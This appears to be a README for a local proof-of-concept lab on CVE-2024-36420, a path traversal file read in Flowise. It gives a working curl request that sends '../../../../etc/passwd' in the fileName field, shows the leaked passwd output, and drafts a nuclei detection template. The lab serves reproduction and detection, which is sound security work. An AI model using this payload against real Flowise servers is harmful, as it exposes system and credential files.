POC_CVE-2024-36420

Local reproduction lab and nuclei template draft for CVE-2024-36420 affecting Flowise.

Summary

CVE-2024-36420 is an arbitrary file read in Flowise caused by unsanitized use of the fileName body parameter in:

• POST /api/v1/openai-assistants-file

This lab was used to validate:

• vulnerable behavior on flowiseai/flowise:1.4.3
• denied behavior on newer flowiseai/flowise:3.1.2

References

• NVD: https://nvd.nist.gov/vuln/detail/CVE-2024-36420
• GitHub Security Lab: https://securitylab.github.com/advisories/GHSL-2023-232_GHSL-2023-234_Flowise/

Files

• docker-compose.yml
• docker-compose.latest.yml
• CVE-2024-36420.yaml

Vulnerable Test

Start Flowise 1.4.3:

docker compose down -v
docker compose up -d
docker compose logs --tail=100 flowise

Manual verification:

curl -i \
  -X POST http://127.0.0.1:3000/api/v1/openai-assistants-file \
  -H 'Content-Type: application/json' \
  -d '{"fileName":"../../../../etc/passwd"}'

Observed vulnerable response:

HTTP/1.1 200 OK
Content-Disposition: attachment; filename=passwd
...
root:x:0:0:root:/root:/bin/ash
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...

Newer-Version Control

Start newer Flowise 3.1.2:

docker compose -f docker-compose.latest.yml down -v
docker compose -f docker-compose.latest.yml up -d
docker compose -f docker-compose.latest.yml logs --tail=100 flowise

Manual verification:

curl -i \
  -X POST http://127.0.0.1:3000/api/v1/openai-assistants-file \
  -H 'Content-Type: application/json' \
  -d '{"fileName":"../../../../etc/passwd"}'

Observed newer-version response:

HTTP/1.1 401 Unauthorized
{"error":"Unauthorized Access"}

Nuclei

Validate the template:

nuclei -duc -validate -t CVE-2024-36420.yaml

Run against the vulnerable target:

nuclei -duc -u http://127.0.0.1:3000 -t CVE-2024-36420.yaml

Expected behavior:

• 1.4.3: match
• 3.1.2: no match

Notes

• The version gap is acceptable because this repo only claims observed behavior:
  • vulnerable on 1.4.3
  • denied on 3.1.2
• It does not claim the exact patched version boundary.
• No real-world targets were used.